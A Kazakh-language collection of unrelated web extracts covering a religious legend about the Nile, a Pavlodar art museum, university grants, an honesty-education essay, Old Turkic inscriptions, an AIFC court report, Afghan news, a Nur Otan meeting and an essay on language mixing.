«Сен өте орынды істепсің. Исламның бұрынғы жаман әдеттерді жойғаны да рас. Саған хатпен бірге тілдей қағазға өзінше бөлек жазу жіберіп отырмын. Сол бір жапырақ қағазды Ніл өзеніне тастарсың».
Амр ибн Ас әлгі айтылған тілдей қағазға көз тастағанда онда былай деп жазулы тұр еді:
«Алланың құлы әрі мүминдердің басшысы Омардан Мысырдың Ніл өзеніне!
Ей, Ніл! Егер сен осы уақытқа дейін өз күшіңмен ағып келсең, онда бұдан былай ақпай-ақ қой. Алайда құдіреті күшті бір Алланың бұйрығымен ағып келсең, онда Алла тағаладан бұдан кейін де сені толассыз ағызып, арнаңнан тасытуын тілейміз».
Әзірет Амр халифаның дегенін істеп, қағазды Ніл өзеніне ағызды. Таңертең Ніл суының жеті-сегіз метр көтерілгені сонша, арнасынан сыймай тасып кетті.
Сол күннен бері Ніл заңы әлі күнге дейін өзгерген емес
Танымал мақалалар
Намазды уақытында орындау
Уақыт – Алла Тағаланың адам баласына бұл дүниеде сыйға тартқан ең маңызды капитал. Дүниедегі сынақтан өту осы капиталды дұрыс қолдануға байланысты....
Сахабалар қоғамы – Құранның мұғжизасы
Сахабалардың көктен түскен уахиға деген ықылас-пейілдерін, жан дүниесімен беріле бойұсынушылығын адамзат тарихында басқа еш бір қоғамнан кездестіру мүмкін емес. ...
Адам және қатыгездік
«Әдеттегіше кешкі жаңалықтарды қарап отырған Ахмет ағаның көңілі алабұртып әр хабар сайын бұзыла түсті.... |
Павлодар облыстық көркемсурет музейі жанды бейне, кескіндеме, мүсіндеме, сәндік-қолданбалы өнердің біргей үлгілерін қалыптастырды. Музей қорларында 5500-ден астам экспонат қордаланған.
Шартты түрде коллекцияны үш бөлімге бөлуге болады:
1) шығармалардың барынша басым және едәуір бөлігі – Қазақстанның өнері;
2) өзінің сапасы жағынан кем түспейтін Ресей, Украина, Балтық бойы және Күнгей Кавказ аймақтарындағы суретшілердің жұмыстары жинақталды;
3) музей құрылған күннен жиналған туындылар бөлігі – павлодарлық суретшілердің коллекциясы.
Коллекцияның неғұрлым мәнді бөлімін Қазақстан суретшілерінің жұмыстары, Республиканың кәсіби өнерінің қалыптасуы мен даму үрдісін, өның қайнар көздерін танытатын (Н. Хлудовтың ХХ ғасырдың басында жазған табиғат көріністері, оның шәкірттері А. Бортников, Н. Соловьевтің, Қазақстанның тұңғыш суретшісі Ә. Қастеевтің алғашқы шығармалары) туындылар құрайды. Музей қорларында сондай-ақ Қазақстанда 30-40 жылдардан бері жұмыс істеген көрнекті шеберлердің (А. Черкасский, В. Эйферт, Л. Леонтьев, П. Зальцман, С. Калмыков т.б.) шығармалары кеңінен орын алған. 1960-1970 жылдар Қазақстанда қуатты ұлттық мектептің қалыптасу уақыты.
Бұл кезде А. Ғалымбаеваның, Қ. Тельжановтың, А. Степановтың, С. Айтбаевтың, Г. Исмаилованың, Е. Сидоркиннің, Ж. Шарденовтың және т.б. авторладың картиналары жазылды. 1980-90-шы жылдарда белсенді жұмыс істеген суретшілердің (Е. Төлепбаев, К. Моллашев, А. Карпықов, Р. Хальфин және т.б.) шығармалары.
Қызығушылық тудыратын музей коллекциясында Павлодардың алдыңғы қатарлы кәсіби суретшілері – М. Колмогоровтың, П. Лысенконың, В. Мартынцевтың, А. Бибиннің, Қ. Баймолдиннің, А. Гулиннің, Ө. Шурановтың, Ғ. Қаржасовтың, Ә. Игембаевтың және тағы басқаларының жұмыстары жинақталған. Павлодарда 1919 жылдан 1929 жылға дейін тұрған белгілі орыс суретшісі В. П. Батуринның (1863-1938) картиналары жинақтаманың мақтанышы болып табылады.
Ресей, Украина, Балтық бойы, Күнгей Кавказ суретшілерінің музей қорларына қосылған туындылары ХХ ғасырдың бейнелеу өнерінің дамуындағы көркемсуреттің өрлеу кезеңдерімен, әртүрлі бағыттармен, ізденістермен танысуға мүмкіндік береді.
Музейдің коллекциясында – 1920-1940 жылдардың көрнекті шеберлері П. Кузнецов, В. Лебедев, Р. Фальк, И. Грабарь, Ю. Васнецов, Г. Нисский, А. Кравченконың шығармалары бар.
КСРО Мәдениет министрлігінің, КСРО Суретшілер одағының, Е. Вучетич атындағы Бүкілодақтық көркемсурет өндірістік бірлестігінің көркемсурет көрмелерінің Дирекциясынан алынған туындылар ХХ ғасыр өнерінің толық мәнді коллекциясын қалыптастыруға мүмкіндік берді. Музей атақты алты ондықтар Б. Неменский, Б. Малуев, М. Бирштейн, В. Кучеровский, В. Вейсберг, т.б. шығармаларын жинады.
Коллекциялардың өсу жағдайына қарай 1970-1980 жылдары З. Церетели, И. Глазунов, А. Слепышев, Н. Нестерова, О. Булгаков, А. Ситников, одақтас республикалардан Р. Абовян, Т. Тоидзе, А. Шовкуненко, И. Бокшай, Т. Яблонская, Я. Земитис, Л. Эндзелина, т.б. суретшілердің туындыларымен толықты. Сонымен бірге коллекция суретшілер шеберханалары мен коллекционерлердің жинаған туындыларымен толықты.
1990-шы – 2000-шы жылдарың басында Қазақстанның көркем өмірінің қазіргі үрдістерін бейнелей отырып, Павлодар облыстық көркемсурет музейі коллекциясын кеңейтіп, өз дамуын жалғастырып келеді. |
Жыл сайын Almaty Management University білімге құштар талапкерлер мен студенттерге қолдау көрсету мақсатында университеттің әлеуметтік жауапкершілігі аясында 120 миллион теңге қаржы бөледі.
AlmaU ІШКІ ГРАНТТАРЫ МЕН ЖЕҢІЛДІКТЕРІ
1. ЫНТАЛАНДЫРУШЫ гранттар және жеңілдіктер
2. АКАДЕМИЯЛЫҚ гранттар, жеңілдіктер және стипендиялар
3. ӘЛЕУМЕТТІК гранттар және жеңілдіктер:
5-100% - жетім-студенттерге, студент-мүгедектерге, ата-анасының бірінші (I) және екінші (II) топтағы мүгедектігі бар, көп балалы және тұрмыстық жағынан аз қамтылған студенттерге. Жеңілдіктер жеке өтініштер негізінде беріледі және Комиссия күзгі кезеңде қаралады.
4. КОРПОРАТИВТІК және басқа жеңілдіктер түрлері: Қызметкерлер мен Университет қызметкерлерінің отбасы мүшелеріне барлық растаушы құжаттар бар болған жағдайда және жеке өтініші негізінде оқудың барлық кезеңіне 10%-дан 50%-ға дейін жеңілдік беріледі.
КОМПАНИЯЛАР МЕН ҚОРЛАР
Almaty Management University өз студенттері мен талапкерлеріне гранттар бөлумен қатар, қаржылай көмек көрсету үшін әртүрлі қор, ұйым және компаниялармен бірлесе жұмыс істейді.
«Ержан Тәтішев Қоры» ҚҚ арнайы қажеттіліктері бар жастарға арналған стипендиялар
«Ержан Тәтішев қоры» табыс түсірмейтін қоғамдық қайырымдылық қор болып табылады, конкурстық негізде білім беру гранттарын бөледі. Толық ақпаратты сайттан алуға болады
«Бес Тірек» білім беру гранты
«Ержан Тәтішев Қоры» бағдарламасы. Бағдарламаның мақсаты - көшбасшылық қасиеттері бар және кәсіпкерлік қызметке деген ұмтылысымен үздік студенттерді анықтау және қолдау, Алматы Менеджмент Университетінің (АлмаУ) бакалавр дәрежесін алу. Бағдарламаға қатысуға мектеп және колледж бітірушілері, аз қамтылған отбасылардан шыққан балалар және кәсіпкерлік саласында білім алуға және өз бизнесін ашуға тілек білдірген балалар үйінің түлектері қатыса алады. Оқу грантына келесі шығындар жатады: оқу ақысы; ай сайынғы стипендия (сабақ қорытындылары бойынша); бизнес ашу үшін грант; шетел студенттеріне арналған орындар; Алматы қаласынан емес студенттер үшін жылына бір рет оқу орнына бару.
Конрад Аденауэр атындағы қор
Конрад Аденауэр атындағы қор –жергілікті Sur-Place стипендиясына конкурс өткізеді (5 ай мерзімге жарамды).
Қазақстанның жоғары оқу орындарында оқып, конкурстық іріктеуден өткен Қазақстан Республикасының азаматтары қордың стипендиаты бола алады.
«TAIBURYL» ҚБ стипендиялары
Қоғамдық қор «Білім беруді қолдау» бағдарламасын жүзеге асырады, оған мектеп оқушыларына білім беру гранттары мен гранттар кіреді. «TAIBURYL» стипендиясы техникалық, медициналық, гуманитарлық, әлеуметтік және экономикалық ғылымдар саласында оқып жатқан талантты және болашағы бар қазақстандық студенттердің білім беру, ғылыми және тәжірибелік қызметін ынталандыруға бағытталған.
Толық ақпаратты төмендегі веб-сайттан алуға болады: http://taiburyl.kz/kz/
Назар аударыңыз! Мемлекеттік, ішкі және сыртқы гранттар мен жеңілдіктерді беруде өзгерістер болуы мүмкін. Толық ақпаратты университеттің қабылдау комиссиясынан анықтап білуге болады.
Қаржы орталығынан студенттік кредиттер[/b]
Қазақстан Республикасы Білім және ғылым министрлігінің «Қаржы орталығы» АҚ ведомствалық ұйымы білім беру кредиттеріне кепілдеме береді, жоғары оқу орындарының ақылы негізде оқитын талапкерлері/студенттері екінші деңгейлі банктерден кредит алуларына мүмкіндіктері бар.
Білім беруге кредит бөлу бағдарламасының қатысушылары «Қазақстанның Халық банкі» АҚ, «Ресей Сбербанк» АҚ еншілес банкі және "Fortebank" АҚ. |
Ұрпақ тәрбиесі – келешек қоғам тәрбиесі. Сол келешек қоғам иелерін жан-жақты жетілген, ақыл-парасаты мол, мәдени, ғылыми өрісі озық етіп тәрбиелеу – біздің де қоғам алдындағы борышымыз.
Ата-ананың бала тәрбиесіне деген жауапкершілігі ұрпақтан ұрпаққа жалғасуда. «Балапан ұяда не көрсе, ұшқанда соны іледі» дегендей, ата-ананың күн сайын атқарып жүрген жұмысы балаға үлкен сабақ. Жас балалардың үлкендер не айтса, соны айтатыны, не істесе, соны істегісі келетіні белгілі. Баланың үйден көргені, етене жақындарынан естігені ол үшін адамгершілік тәрбиенің ең үлкені. Демек, жақсылыққа ұмтылып, жағымды істермен айналысатын адамның айналасындағыларға берер тәлімі мол болмақ.
Адалдық – адам бойындағы асыл қасиеттердің бірі. Адам бағасының бір өлшемі де іспетті. “Адалдық” деген сөз шыншылдық, айнымастық, шын берілгендік сияқты игі қасиеттерді еске салады. Қазақ пайымында адам бойында адалдық – пәктік, ар-ұждан, жан тазалығы тәрізді т.б. асыл қасиеттердің жиынтығынан тұрады. Көшпелі қазақтардың адамгершілік, адалдық қасиеттері тұрғысынан кіршіксіз таза, мәрт болатындығы туралы шетелдік саяхатшылардың қолжазбалары мен күнделіктерінен де кездестіруге болады.
Сонымен қатар, жас өспірімдердің оқу орнындағы тәлім – тәрбиесі мен білімі, оның тұлға болып қалыптасуына ықпал етеді. Қазіргі таңда елемізде жас ұрпақты адамгершілікке, адалдыққа, парасаттылыққа, еңбекқорлыққа тәрбиелеу мақтасында түрлі пилоттық жобалар кешенді жұмыстар жүргізіп жатыр. Атап айтар болсақ «Саналы ұрпақ», «Парасаттылық мектебі» жобалары еліміздің білім ошақтарымен қоян қолтық жұмыс жасап, жұмыстар жүргізіп жатыр.
Биыл қазақтың ұлы ақыны Абай Құнанбаевтың туғанына 175 жыл толуына орай, жастарды адалдыққа тәрбиелеуде көптеген іс – шаралар атқарылуда. Соның бірі республикалық деңгейде өткізіліп жатқан «Адалдық сағаты» атты тәрбие жұмысы. Еліміздің телеарналарынан көрсетіліп жатқан осы жобаны, біз білім беріп отырған Алматы телекоммуникация және машина жасау колледжі білімалушыларының да адалдыққа тәрбиесіне өз ықпалын тигізіп жатыр деген ойдамыз. Себебі, осы жобалардың негізінде колледжде бірнеше клубтар құрылған. Атап айтар болсақ: «Адал ұрпақ», «Парасаттықлық мектебі», «Шабыт» үйірмелері өз жұмысын жүргізуде. Шәкәрім қажы адалдық турасында: Мақтан үшін мал жима, жан үшін жи, Ғибадат пен пен адалдық ар үшін жи, – деп, бақыттың өзі адалдыққа негізделетінін айта келіп, адалдықтың ар біліміне қатысына да ерекше көңіл бөледі. Адалдық қорғау қажеттігін, ол үшін адам бойындағы асыл қасиеттердің бірлікте болуын ашып көрсетеді. Біз бұл клубтарды рухани-адамгершілік және азаматтық-патриоттық тәрбиелеу контекстінде сыбайлас жемқорлыққа қарсы мәдениетті мектеп ортасында қалыптастыру бағдарламасын негізге ала отырып жұмыс жасаймыз:
– Адалдық – адам бойындағы асыл қасиеттердің бірі. “Адалдық” деген сөз шыншылдық, айнымастық, шын берілгендік сияқты игі қасиеттерді еске салады. Қазақ пайымында адам бойында адалдық – пәктік, ар-ұждан, жан тазалығы тәрізді т.б. асыл қасиеттердің жиынтығынан тұрады.
– Шыншылдық, турашылдық – өлмес рух пен арлылықтың, адалдықтың алғышарты. Кез келген халықтың моральдық қағидасы – осылай.
– Сыбайлас жемқорлыққа қарсы іс-қимыл – күн тәртібіндегі басты мәселе.
– Білім бері жүйесінде сыбайлас жемқорлықты жою, білім беру жүйесі арқылы сыбайлас жемқорлықтан бас тарту ортасын қалыптастыру.
– 4 негізгі құндылық: адалдық, парасаттылық, әділдік, сенім.
Сондықтан біздің колледж студенттері үшін адалдық пен әдептілік – бұл өмірлік ұстанымымдары болып табылады.
Алматы телекоммуникация және машина жасау колледжі, «Қазіргі еңбек нарығы талаптарына жауап беретін арнайы және кәсіптік мамандарды даярлау» деген миссияны негізге ала отырып жастарды тәрбиелеуде.
Бұл жобалардың барлығы тәуелсіз елміздің жастарының адал, еңбекқор, өз елін, жерін сүйетін азаматтар болып қалыптасуына ықпал ететініне сенеміз. |
Электронды тарихи-мәдени қордың негізі "Мәдени мұра" мемлекеттік бағдарламасының "Шығыстану секциясы" Р.Б.Сүлейменов атындағы Шығыстану институты тарапынан 2005 жарияланған "Қазақстан тарихы туралы түркі деректемелері" сериясының 2-томы "Н.Базылхан "Көне түрік бітіктастары мен ескерткіштері (Орхон, Ениесей, Талас)" Алматы: Дайк-Пресс. 2005, 252 б. +144 бет жапсырма" атты ғылыми еңбек болды. Ғылыми редакторлары: т.ғ.д., проф. М.Қ.Әбусейтова,
ф.ғ.д., проф.Б.Бұхатұлы.
Р.Б.Сүлейменов атындағы Шығыстану институтының директоры т.ғ.д., проф. Меруерт Қуатқызы Әбусейтоваға көрсеткен көмегі үшін алғыс білдіреміз.
қаз рус eng
© Абай атындағы Қазақ Ұлттық педагогикалық университет.
Қазақстан Республикасы Мәдениет және ақпарат министрлігінің Тіл комитеті тапсырысы бойынша жүргізілген
"Жазба және этноархеологиялық деректемелер бойынша қазақ тілінің тарихи-мәдени ақпарат көздерін жасау" жұмысы шеңберінде жасалған. |
АХҚО Соты мен ХТО-ның қызметі 2018 жылдың 1 қаңтарында басталды және бүгінгі күнге дейін АХҚО Соты мен ХТО-да 536 іс қаралды, оның ішінде 15 сот шешімі, 39 төрелік шешім және дауларды медиация жолымен реттеу туралы 482 келісім. 2021 жылдың бірінші жартысында АХҚО Соты мен ХТО 201 іс шешті және келесі істерді қарауда. Төрелік істер саны едәуір артты, ал медиация процедуралары санының тұрақты түрде өсіп отыруы жалғасты, бұл істі төрелікте немесе сот тәртібімен одан әрі қарау қажеттігін азайтты.
Істерге Қазақстанның 12 өңірінен және Ұлыбритания, Қытай, Ресей, Үндістан, Канада, Италия, Өзбекстан, Украина, Қырғызстан, Әзірбайжан, Польша, Армения және Белоруссияны қоса, 14 елдің тараптары қатысты.
Даулар берешектердің төленбеуі және шарттық міндеттемелердің басқа да бұзылулары, қаржы, құрылыс, энергетика, жер және мүлік мәселелері, еңбек қатынастары бойынша коммерциялық және инвестициялық мәселелердің кең ауқымымен байланысты болды. Істерді қарау барысында АХҚО, Қазақстан және Ресей құқықтары қолданылды.
Барлық даулар eJustice озық цифрлық платформасы мен АХҚО Соты мен ХТО-да бейнетыңдаулар өткізуге арналған технологиялар қолданылып, тез және экономикалық тұрғыдан тиімді түрде шешілді. Сот шешімдері мен төрелік шешімдердің барлығы АХҚО Сотының олардың тиімді орындалуын қамтамасыз ететін арнайы әзірленген процедурасын пайдаланумен 100% сәтті атқарылды.
АХҚО Сотының халықаралық мойындалуы жалғасын тауып, 281 заңгерге АХҚО Сотында өз клиенттерінің мүдделерін дауларда білдіру құқығы берілді. Олардың ішінде 27 юрисдикция (25 мемлекет), соның ішінде Ұлыбритания, АҚШ, Еуропа, Орталық Азия, Африка, Азия және Океания заңгерлері бар.
АХҚО Соты мен ХТО Қазақстан Республикасы Жоғарғы Сотының Төрағасы Жақып Асанов мырзамен өзара түсіністік туралы меморандумға қол қойды. АХҚО Соты мен ХТО Қазақстан Республикасының жергілікті соттарынан тәуелсіз, сонымен бірге өзара мүдде бар мәселелер бойынша тығыз ынтымақтастықта. Өзара түсіністік туралы меморандумда дау тараптарының жазбаша келісімі бар болған жағдайда коммерциялық және инвестициялық дауларды Қазақстан Республикасының жергілікті соттарынан АХҚО Сотына беру процедурасы қарастырылған. Бұдан басқа, АХҚО Сотының шешімдерін шетелде орындауға қатысты одан әрі қарай көмек көрсету туралы ереже бекітілген.
Қазіргі уақытта коммерциялық келісімшарттардың дауларды шешу туралы ережелеріне АХҚО Соты мен ХТО ескертпелерін қосуға ынталандыру мақсатында Қазақстан Республикасының мұнай-газ секторымен және өнеркәсіптің басқа салаларындағы ірі корпорациялармен талқылау жүргізілуде. АХҚО Соты мен ХТО Chevron Tengizchevroil келісімшарттарын қоса, 5000-нан аса коммерциялық келісімшарттар бойынша дауларды шешу үшін бірінші нөмірлі таңдау ретінде енгізілді. АХҚО Соты мен ХТО дауларды шешу үшін бірінші нөмірлі таңдау ретінде көрсетілген шарттар бойынша туындайтын даулар қазіргі уақытта ХТО-ның қарауында.
Пайдаланушылар комитетінің отырыстары, судьялар мен төрешілердің қатысуымен өткен вебинарлар, онлайн-халықаралық конференцияларда сөз сөйлеу, студенттік ойын соттары және оқу бағдарламалары кірген ілгерілету және қоғамдастықты қатыстыру бойынша кешенді бағдарлама іске асырылды. ХТО 2021 жылғы ақпанда онлайн режимде өткізген IAC-Vis төрелік турнирін ерекше атап өту керек. ХТО Willem C. Vis Халықаралық Комерциялық Төрелік турнирін ұйымдасыру және ілгерілету қауымдастығымен ынтымақтастықта ХТО-Орталық Азия төрелік турнирінің ресми ұйымдастырушысы болып табылады. Турнирге он жеті елден жиырма екі команда қатысты.
АХҚО Соты мен ХТО аппаратының Тіркеушісі және басшысы Кристофер Кэмпбелл-Холт мырза былай деп атап өтті:
“Біз АХҚО Соты мен ХТО коммерциялық дауларды жедел, экономикалық тиімді, сенімді және әрқашан да құқықтың үстемдік етуінің ең жоғары халықаралық стандарттарын қолданыумен шешу үшін қауіпсіз институт ретінде жергілікті, аймақтық және халықаралық іскерлік ортаның сеніміне ие болуы арта түскеніне қуаныштымыз. Дамудың қазіргі сатысында қаралатын істердің саны басқа жалпы құқық соттары мен халықаралық қаржы орталықтарындағы төрелік орталықтардың көрсеткіштерінен едәуір алда болып тұр. Біздің бұл прогресті сақтап, АХҚО Соты мен ХТО инвесторлардың құқықтарын ең жоғары халықаралық стандарттарға сәйкес әлі де көптеген жылдар бойы қорғай алуын қамтамасыз ету бойынша жоспарларымыз бар”.
Анықтама үшін:
«Астана» халықаралық қаржы орталығы Қазақстан Республикасының Тұңғыш Президенті – Елбасы Нұрсұлтан Назарбаевтың бастамасымен «Бес институционалдық реформаны жүзеге асыру жөніндегі 100 қадам» Ұлт жоспары шеңберінде құрылды.
2020 жылғы 2 шілдеде АХҚО басқару жөніндегі кеңестің отырысы шеңберінде Орталықтың 2025 жылға дейінгі Даму стратегиясы қабылданды.
Оған сәйкес АХҚО-ның пайымдауы Орталық Азия, Кавказ, ЕАЭО елдері, Батыс Қытай, Моңғолия және Шығыс Еуропаны қамтитын өңірдегі жетекші халықаралық қаржы орталығы ретінде қалыптасуында болып отыр.
АХҚО миссиясы өңірдің тұрақты ұзақ мерзімді дамуына жәрдемдесу болып табылады. Мемлекет басшысы Қ. Тоқаев атап өткендей, «АХҚО өзінің бірегей мүмкіндіктерімен өңір елдерін байланыстыратын әмбебап платформа ретінде әрекет ете алады».
АХҚО-ның тұрақты дамуының стратегиялық бағыттары тұйық циклді экономиканы, қаржылық технологияларды және «цифрлық қаржы орталығын» дамытуды қамтиды. https://aifc.kz/
АХҚО Соты тәуелсіз орган болып табылады және Англия мен Уэльстің жалпы құқық қағидаттарына және жетекші халықаралық қаржы орталықтарының стандарттарына негізделген.
АХҚО соты бірінші сатыдағы соттан және апелляциялық соттан тұрады. Күрделілігі мен сомасы бойынша болмашы дауларды жедел шешуді қамтамасыз ету үшін бірінші сатыдағы сотқа ұсақ дау-дамайлар соты кіреді.
АХҚО соты әкімшілік және қылмыстық сот ісін жүргізуді жүзеге асырмайды және қатысушылар, АХҚО органдары арасындағы дауларды және АХҚО құқығына сәйкес АХҚО-да жүзеге асырылған операциялар бойынша дауларды шешуді қамтамасыз ету үшін айрықша юрисдикциясына ие. Сонымен қатар, АХҚО соты тараптардың келісімі бойынша АХҚО сотына берілген дауларды қарай алады. https://court.aifc.kz/
АХҚО халықаралық төрелік орталығы (AIFC International Arbitration Centre) тәуелсіз орган болып табылады және жетекші халықаралық қаржы орталықтарының стандарттарына сәйкес құрылған.
ХТО төрешілерінің құрамына жер қойнауын пайдалану, сауда, мұнай-газ секторы, құрылыс, энергетика, ислам қаржысы, банкинг, зияткерлік құқық салаларында және коммерциялық және азаматтық құқықтың басқа да салаларында төрелік бойынша көп жылдық тәжірибесі бар жетекші халықаралық төрешілер кіреді. https://iac.aifc.kz/ |
Нангархар уәлаятында содырларға қарсы операцияда бекіністе тұрған ауған сарбазы. Ауғанстан, 9 қаңтар 2019 жыл. (Көрнекі сурет.)
Бөлісу
Ауғанстанда тәліптер шабуылынан ондаған сарбаз оққа ұшты
Бөлісіңіз
Пікірлерді көріңіз
Принтерден шығару
Ауғанстанда 10 қаңтарда "Талибан" содырларының шабуылынан үкімет қауіпсіздік күштерінің кемінде 32 қызметкері оққа ұшқан. Тәліптер Ауғанстанның солтүстігіндегі Кундуз, Баглан мен Тахар уәлаяттары және елдің батысындағы Бадгис уәлаятында тексеру және өткізу бекеттеріне шабуылдаған.
Кундуз уәлаятына қарасты Кала-е-Заль ауданының басшысы Ахмад Фахим Карлуктың айтуынша, тәліптер шабуылынан 10 әскери мен полиция қызметкері қаза тауып, 11-і жараланған. Карлук қарулы қақтығыс барысында 25 содырдың көзі жойылған деп хабарлады.
Жергілікті биліктің мәліметінше, Баглан және Тахар уәлаяттарында тәліптер шабуылынан үкіметті қолдайтын жасақтың 16 мүшесі қаза тапқан. Бадгис уәлаяты губернаторының баспасөз хатшысы Бадгис Жамшид Шахаи тексеру және өткізу бекеттеріне жасалған шабуылдар салдарынан қауіпсіздік күштерінің алты қызметкері оққа ұшып, 10-ы жараланғанын хабарлады.
"Талибан" қозғалысы шабуылдарды мойнына алды. "Талибан" өкілі Забиулла Муджахидтің мәлімдемесінде тәліптердің ондаған ауған әскери қызметкерін өлтіріп, қару-жарақ пен оқ-дәріні қолға түсіргені айтылады.
Соңғы айларда Ауғанстанда қауіпсіздік күштері мен үкімет нысандарына тәліптердің шабуылы жиілеген. Ауғанстан армиясы мен АҚШ әскерилері тәліптерге қарсы операцияларын күшейткен. |
Нұрсұлтан Назарбаев «Нұр Отан» партиясының саяси кеңесінің кеңейтілген отырысын ашты, деп хабарлайды Zakon.kz.
Іс-шараға саяси кеңестің барлық мүшесі, бірқатар мемлекеттік органдардың басшылары, партия аппаратының өкілдері қатысады. Бейнеконференцияда облыстық филиалдардың басшылары, мәслихат хатшылары, аймақтық партия активтері қосылған.
«Бұл дұрыс та, олар бәрін тыңдау керек, себебі бұл бәріміз үшін ортақ міндет», - деді Президент.
Ол өткен жылдың қараша айында саяси кеңес отырысында партия қызметін жаңарту бойынша бірқатар нақты тапсырмалар бергенін еске салды.
«Біз партияның ұлттық күн тәртібін қалыптастыруға белсенді түрде қатысуы керек екенін айттық. Ол жаңғырудың негізгі қозғаушы күштерінің бірі болуы керек. Сондай-ақ, партияның ғана емес, елдегі кадрлық резервпен мақсатты түрде жұмыс жасауды тапсырылған. Біз осы кезеңде партия мүшелерінің санына емес, сапасына назар аудару керек екендігін айттық. Біздің міндетіміз - жаңа саяси технологияларды белсенді пайдалану болды. Жастармен жұмысты жандандыру қажеттілігі туралы айтқан болатынбыз», - деді ол.
Нұрсұлтан Назарбаев «Жас Отан» партиясының алдында барлық жастар ұйымының интеграторы болу міндеті тұрғанына назар аударды. Ал жақында өткен «Жас Отан» съезі жастардың өте белсенді екендігін және мемлекет істеріне араласқысы келетінін көрсетті.
«Мен сондай-ақ партиялық білім беруді сараптамалық зерттеу мәселелерін шешуді тапсырған болатынмын», - деді ол.
Оның айтуынша, осы берілген тапсырмалардың мәні - «Нұр Отан» партиясының «елдегі жетекші саяси күштердің бірі ретінде, Қазақстанның жаңаруының сенімді негізі ретінде» позициясын нығайту болып табылады.
Бүгін Президенттің берген нұсқаулықтарының қаншалықты орындалғаны қаралады. Күн тәртібінде екі мәселе бар - «Нұр Отан партиясының» жүйелі түрде жаңғыруы және Президенттің 5 әлеуметтік бастамамасын жүзеге асыру, қоғамдық бақылау қалай өтіп жатқанын қарау мәселесі. |
tapa: süledim: Čača Seŋün: sekiz: tümen: sü birle:süŋüšdim: süsin: anta: ölürtim: altï otuz: yašïma: Ček budun: Qïrqïz: birle: yaγï boltï: Kem keče: süledim: Ček tapa: süledim: Őrpünte: süŋüšdimiz: süsin: sančdïm: Az ...m...yeti: otuz: yašïma: Qïrqïz: tapa: süledim: süŋük batamï:
таман: сүңгіледім: Чача Сеңгүн: сегіз түмен: сүңгі бірлесе: сүңгілестім: сүңгісін: сонда: өлтірдім: алты отыз: жасыма: Чек бүтін (халық): Қырғыз: бірлесе: жау болды: Кем (өзен) кеше: сүңгіледім: Чек таман: сүңгіледім: Өрпенте: сүңгілесдіміз: сүңгісін: шанышдым: Аз...м... жеті: отыз (27): жасыма: Қырғыз: таман: сүңгіледім: сүңгі батар:
Этномәдени сөздікпен қатар Түрік бітік мәтін қорында көне түрік-қазақ сөздігі бар.
Электронды тарихи-мәдени қордың негізі "Мәдени мұра" мемлекеттік бағдарламасының "Шығыстану секциясы" Р.Б.Сүлейменов атындағы Шығыстану институты тарапынан 2005 жарияланған "Қазақстан тарихы туралы түркі деректемелері" сериясының 2-томы "Н.Базылхан "Көне түрік бітіктастары мен ескерткіштері (Орхон, Ениесей, Талас)" Алматы: Дайк-Пресс. 2005, 252 б. +144 бет жапсырма" атты ғылыми еңбек болды. Ғылыми редакторлары: т.ғ.д., проф. М.Қ.Әбусейтова,
ф.ғ.д., проф.Б.Бұхатұлы.
Р.Б.Сүлейменов атындағы Шығыстану институтының директоры т.ғ.д., проф. Меруерт Қуатқызы Әбусейтоваға көрсеткен көмегі үшін алғыс білдіреміз.
Ескерткіш Үйреткіш Этномәдени сөздік Жәй сөздік Деректер Іздеу Көмек Контакт
қаз рус eng
© Абай атындағы Қазақ Ұлттық педагогикалық университет.
Қазақстан Республикасы Мәдениет және ақпарат министрлігінің Тіл комитеті тапсырысы бойынша жүргізілген
"Жазба және этноархеологиялық деректемелер бойынша қазақ тілінің тарихи-мәдени ақпарат көздерін жасау" жұмысы шеңберінде жасалған. |
Тіл шұбарлығының әуелгі кезеңінде қандай да тіл сөйлерменінің біразы, белгілі бір әлеуметтік тобы бірқатар шетел сөзін сән көріп, өз тіліне, айналасына таңа бастайды да, өз кезегінде тілдің қалған сөйлермені де соларға еліктей сөйлейтін болады.
Орыс ақсүйектерінің бір кездері французға, еуропалықтарға еліктеп, олардың сөздерін қолдана сөйлеуге әуес болғаны осыған жатады. Мысалы, олар кезінде мэрси, орэвуар, селәби, гудбай, айн момент, браво, бис, сударь, сударыня, сэр, мадемуазель, леди, миледи, джентелмены, сеньор, сентиментально, галантно дегендей сөздерді әдемі көріп, әуес болып айтты.
Бұл жай қазақ оқығандарының да, алғаш орысша үйренгендердің де көбінің басында болды. Қазақ та орыстық, еуропалық привет, салют, чао, пока, пажалыста, да, ало, и (және), папа, мама, дядя, тетя, конечно, әбизателньо, маладес, коммуникабельный, шеф, хобби дегендейлерді қызық, артықша көрді. Қызым демей, доча, дочка, доченка дегенді ұнатты. Тіпті дискредитировать, дискриминация, диссимиляция, дистрибьютер, дисциплинированный, интерпретация, коалиция, конфессиональный, конфиденциальный, реаблитация, транспортабельный, физиономия, физиотерапия, цивилизация, шизофрения сияқты айтуға қиын әрі 5-7 буынды ұзын сөздердің өзін сол әздектігіне бола, қиын да болса, айта алатындығын көрсету үшін тілін бұрап, дауысын келтіріп үйреніп алды, қалай да айтатын болды.
Қазіргі таңда да yay, yes, окей, супер, нонсенс, консенсус, ноу-хау, сто пудов, брифинг, гранпри, адреналин, бренд, негатив, позитив, номинация, нюанс, офис, тоефл, ток-шоу, квартет, дуэт, трио, хит (парад), консолидация, консорциум, котрабанда, толерантность (көнбістік), рейтинг, кворум, квота, экспремьер, босс, бонус, вердикт, дантист, маркет, гламур, эскиз, спагетти, уникум, экстремум, эксесс, эксклюзив дегендер осындай «сүйкімді» сөздер тобын құрайды.
Сондықтан мұны пайда болу себебі бойынша елікпелі тіл шұбарлығы немесе тілдің былғануы десек болады. Елікпелі тіл шұбарлығы қоғамның аздаған сәңқой, жылтыраққұмар бөлігін қамтиды және бірқатар сөздер аясымен шектеледі. Әрине, аты «тіл шұбарлығы» болып, тілге қатысты болған соң, заты да содан болар делініп, әдетте, себебі тілден ізделеді.
Алайда, мұндай басқа тіл сөзіне, сөйлеуіне әуестіктің өзі тілден тыс екі себептен туады.
Біріншіден, адам адам болған соң мимырт тірліктегі бірізді-бірөңділіктен, қарапайым-қарабайырлықтан жалықпай, жаңа, жылтыраған нәрсеге құмартпай немесе әлдеқайда ұмтылмай, өзін әлденеге арнамай тұра алмайды. Дегенмен қалыпты, дұрыс жолдағы адам бойындағы бұл «кемістік» орнын оң ниет, ізгі қасиет, жасампаз әрекеттері арқылы толтырып, жақсы істерімен еңсеріп отырады. Оның ерігіп-елігерлік уақыты да болмайды.
